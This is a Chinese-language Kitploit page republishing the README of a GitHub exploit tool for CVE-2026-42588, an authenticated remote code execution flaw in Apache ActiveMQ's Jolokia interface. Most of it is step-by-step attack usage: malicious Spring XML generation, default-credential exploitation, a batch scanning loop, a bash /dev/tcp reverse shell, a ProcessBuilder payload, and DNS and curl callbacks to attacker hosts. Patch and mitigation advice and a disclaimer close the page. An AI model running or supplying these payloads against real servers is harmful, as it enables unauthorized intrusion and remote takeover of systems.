Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42588 — 基于Python的CVE-2026-42588 RCE利用,针对Apache ActiveMQ Jolokia。具有仅检查模式、恶意XML生成,并支持反向shell、OOB和基于文件的验证。 | Kitploit
工具/GitHubGitHub/hnytgl/cve-2026-42588
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubhnytgl/cve-2026-42588

CVE-2026-42588

基于Python的CVE-2026-42588 RCE利用,针对Apache ActiveMQ Jolokia。具有仅检查模式、恶意XML生成,并支持反向shell、OOB和基于文件的验证。

查看仓库
323个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42588 - Apache ActiveMQ Jolokia 远程代码执行漏洞利用

严重等级: 🔴 高危 (CVSS 4.0: 8.1)
漏洞类型: CWE-94 — 代码注入
影响版本: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
利用前提: 需有 Web Console 认证凭据(默认 admin:admin)


📋 目录

  • 漏洞概述
  • 漏洞原理
  • 影响版本
  • 利用条件
  • 文件说明
  • 快速开始
  • 详细使用方法
  • 利用链全景图
  • 验证漏洞利用成功
  • 修复方案
  • 临时缓解措施
  • FAQ
  • 免责声明
  • 参考链接

漏洞概述

CVE-2026-42588 是一个存在于 Apache ActiveMQ 中的认证后远程代码执行(RCE)漏洞。

攻击者在拥有 Web Console 认证凭据的前提下,通过 () 调用 方法,传入精心构造的 discovery URI,利用 协议加载远程 ,最终在 ActiveMQ Broker 的 JVM 中执行任意系统命令。

Jolokia JMX-HTTP 桥接接口
/api/jolokia/
BrokerService.addNetworkConnector(String)
masterslave://
xbean:
Spring XML 配置文件

漏洞原理

利用链

root@kitploit:~
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
       │
       ▼
BrokerService.addNetworkConnector(String)
       │
       ▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
       │
       ▼
XBeanBrokerFactory → ResourceXmlApplicationContext
       │
       ▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
       │
       ▼
🚨 远程代码执行 (RCE)

关键技术点

环节说明
Jolokia 暴露面ActiveMQ Web Console 默认暴露 /api/jolokia/,允许对 org.apache.activemq:* MBean 执行 exec 操作
危险方法BrokerService.addNetworkConnector(String) 接收 discovery URI 并解析
URI 触发链masterslave:// 协议的 brokerConfig 参数可控,配合 xbean: scheme 触发 Spring 上下文加载
RCE 触发点XBeanBrokerFactory 使用 ResourceXmlApplicationContext 加载远程 XML,Spring 在配置验证之前就会实例化所有单例 Bean

影响版本

版本范围状态
Apache ActiveMQ < 5.19.7❌ 受影响
6.0.0 ≤ Apache ActiveMQ < 6.2.6❌ 受影响
Apache ActiveMQ ≥ 5.19.7✅ 已修复
Apache ActiveMQ ≥ 6.2.6✅ 已修复

利用条件

  1. ✅ 网络可达 — /api/jolokia/ 接口可被攻击者访问(默认端口 8161)
  2. ✅ 有效凭据 — 拥有 ActiveMQ Web Console 的认证凭据(默认 admin:admin)
  3. ✅ 攻击者 HTTP 服务 — 需要一个可被目标访问的 HTTP 服务器托管恶意 XML 文件

文件说明

root@kitploit:~
.
├── CVE-2026-42588_EXP.py   # 漏洞利用脚本(核心)
├── malicious.xml            # 恶意 Spring XML 模板
├── requirements.txt         # Python 依赖
└── README.md                # 本文件
文件用途
CVE-2026-42588_EXP.pyPython 漏洞利用脚本,支持检测模式 (--check-only) 和 XML 生成模式 (--gen-xml)
malicious.xml恶意 Spring XML 配置模板,包含 Runtime.exec() 和 ProcessBuilder 两种利用方式

快速开始

1. 安装依赖

root@kitploit:~
pip install -r requirements.txt

2. 生成恶意 XML 文件

root@kitploit:~
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml

3. 托管恶意 XML 文件

在攻击机上启动 HTTP 服务:

root@kitploit:~
python3 -m http.server 8080

4. 执行漏洞利用

root@kitploit:~
# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
    -u http://192.168.1.100:8161 \
    -x http://your-attacker-ip:8080/malicious.xml

# 使用自定义凭据
python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -U myuser \
    -P mypass \
    -x http://your-attacker-ip:8080/malicious.xml

5. (可选)仅检测漏洞

root@kitploit:~
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only

详细使用方法

命令行参数

root@kitploit:~
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
                             [-x XML_URL] [--check-only] [--gen-xml]
                             [-c COMMAND] [--timeout TIMEOUT] [--no-verify]

选项:
  -u, --url         目标 ActiveMQ URL (如 http://192.168.1.100:8161)
  -U, --username    Web Console 用户名 (默认: admin)
  -P, --password    Web Console 密码 (默认: admin)
  -x, --xml-url     恶意 Spring XML 文件的远程 URL
  --check-only      仅检测 Jolokia 接口是否可访问
  --gen-xml         生成恶意 XML 文件并输出到 stdout
  -c, --command     要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
  --timeout         HTTP 请求超时秒数 (默认: 30)
  --no-verify       禁用 SSL 证书验证

场景一:反弹 Shell

1. 在攻击机上生成恶意 XML:

root@kitploit:~
python CVE-2026-42588_EXP.py --gen-xml \
    -c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    > reverse_shell.xml

2. 托管 XML 并启动监听:

root@kitploit:~
# 终端1:HTTP 服务
python3 -m http.server 8080

# 终端2:nc 监听
nc -lvnp 4444

3. 触发漏洞:

root@kitploit:~
python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -x http://10.0.0.1:8080/reverse_shell.xml

场景二:CMD 命令执行(Windows 目标)

1. 生成 Windows 版恶意 XML:

修改 malicious.xml 中 ProcessBuilder 的命令为:

root@kitploit:~
<bean class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>cmd.exe</value>
            <value>/c</value>
            <value>whoami &gt; C:\windows\temp\pwned.txt</value>
        </list>
    </constructor-arg>
</bean>

2. 托管并执行:

root@kitploit:~
python CVE-2026-42588_EXP.py \
    -u http://windows-target:8161 \
    -x http://attacker:8080/malicious_win.xml

场景三:仅漏洞检测

root@kitploit:~
# 批量检测
for ip in $(cat targets.txt); do
    echo "=== Testing $ip ==="
    python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done

利用链全景图

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                        CVE-2026-42588 攻击链                          │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ① 攻击者                             ⑤ ActiveMQ Broker (JVM)        │
│  ┌──────────┐                         ┌──────────────────────────┐   │
│  │ EXP脚本  │──── ② HTTP POST ───────▶│ /api/jolokia/            │   │
│  │          │    Jolokia exec()        │                          │   │
│  │          │    Basic Auth            │ BrokerService.           │   │
│  │          │                          │ addNetworkConnector(     │   │
│  │          │                          │   "masterslave://?       │   │
│  │          │                          │    brokerConfig=         │   │
│  │          │                          │    xbean:http://...      │   │
│  │          │                          │    /malicious.xml"       │   │
│  └──────────┘                          │ )                        │   │
│       │                                └────────┬─────────────────┘   │
│       │                                         │                     │
│       │          ③ HTTP GET                     ▼                     │
│       │  ┌──────────────────────┐  ┌────────────────────────────┐    │
│       └─▶│ 攻击者 HTTP 服务器    │  │ ResourceXmlApplication     │    │
│          │ (python http.server) │  │ Context 加载远程 XML        │    │
│          │                      │  │                            │    │
│          │ malicious.xml        │  │ Spring 预实例化 Bean ──▶    │    │
│          └──────────────────────┘  │ Runtime.exec() /            │    │
│                                    │ ProcessBuilder.start()      │    │
│                                    │          │                  │    │
│                                    │          ▼                  │    │
│                                    │    🚨 RCE 成功 🚨           │    │
│                                    └────────────────────────────┘    │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

验证漏洞利用成功

由于命令执行发生在 Spring XML 解析阶段,是异步的,HTTP 响应中可能不会直接体现执行结果。建议通过以下方式验证:

方法 1:反弹 Shell(最可靠)

root@kitploit:~
# 攻击机
nc -lvnp 4444

方法 2:DNS 外带(OOB)

root@kitploit:~
# 命令中使用 nslookup 或 curl 回传
nslookup $(hostname).your-dns-server.com

方法 3:文件落地检测

root@kitploit:~
# 目标上检查标志文件
ls -la /tmp/activemq_pwned

方法 4:HTTP 回连

root@kitploit:~
# 在恶意 XML 中使用
curl http://your-server:8888/$(hostname)
# 同时在攻击机上监听
nc -lvnp 8888

修复方案

✅ 推荐方案:升级版本

版本线升级至
5.x 系列5.19.7 或更高
6.x 系列6.2.6 或更高

下载地址: https://activemq.apache.org/download

补丁公告: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm


临时缓解措施

如果暂时无法升级,可采取以下措施降低风险:

1. 限制 Jolokia 接口访问

在 conf/jetty.xml 中限制 /api/jolokia/ 只能从本地访问,或通过防火墙/反向代理做 IP 白名单。

2. 修改 Jolokia 访问策略

编辑 conf/jolokia-access.xml,禁止对 org.apache.activemq:* MBean 的 exec 操作:

root@kitploit:~
<restrict>
    <mbean>
        <name>org.apache.activemq:*</name>
        <operation>!exec</operation>
    </mbean>
</restrict>

3. 修改默认凭据

编辑 conf/jetty-realm.properties,将默认的 admin: admin, admin 修改为强密码。

4. 禁用 Web Console(如果不需要)

在 conf/jetty.xml 中注释掉 Web Console 相关的 Context 配置。


FAQ

Q: 这个漏洞需要认证吗?

A: 是的,需要 ActiveMQ Web Console 的有效凭据。但默认凭据为 admin/admin,实际环境中大量系统未修改默认密码,因此风险依然很高。

Q: EXP 执行后没有回显怎么办?

A: 这是正常的。命令执行是异步的,发生在 Spring XML 解析阶段。建议使用反弹 Shell、DNS 外带等方式验证。详见验证漏洞利用成功。

Q: 支持 Windows 目标吗?

A: 支持。需要将 malicious.xml 中的命令从 /bin/sh -c 改为 cmd.exe /c,命令语法相应调整为 Windows 风格。

Q: 检测模式 (--check-only) 能确定漏洞存在吗?

A: 检测模式只能确认 Jolokia 接口是否可访问(漏洞利用的必要条件)。接口可访问不代表一定可利用,但具备利用可能性。

Q: 漏洞修补后还能利用吗?

A: 不能。升级到 5.19.7+ 或 6.2.6+ 后,brokerConfig 参数的解析逻辑已修复,不再接受 xbean: scheme。


免责声明

⚠️ 本工具仅供安全研究和授权测试使用!

  • 使用本工具进行未经授权的系统访问是违法行为
  • 使用者须自行承担所有因使用本工具而产生的一切后果和责任
  • 作者不对任何未经授权的使用、滥用或因此产生的损害负责
  • 在您自己的系统或获得书面授权的系统上使用本工具
  • 遵守当地法律法规和职业道德规范

参考链接

来源链接
漏洞数据库 (CVE Detail)https://www.cybersecurity-help.cz/vdb/vulns/133395/
安天漏洞公告https://bbs.antiy.cn/thread-210844-1-1.html
DDPOC 漏洞详情https://ddpoc.com/DVB-2026-11290.html
Apache ActiveMQ 官方https://activemq.apache.org/
Apache 安全公告https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm

CVE-2026-42588 — For Educational & Authorized Testing Purposes Only

下载工具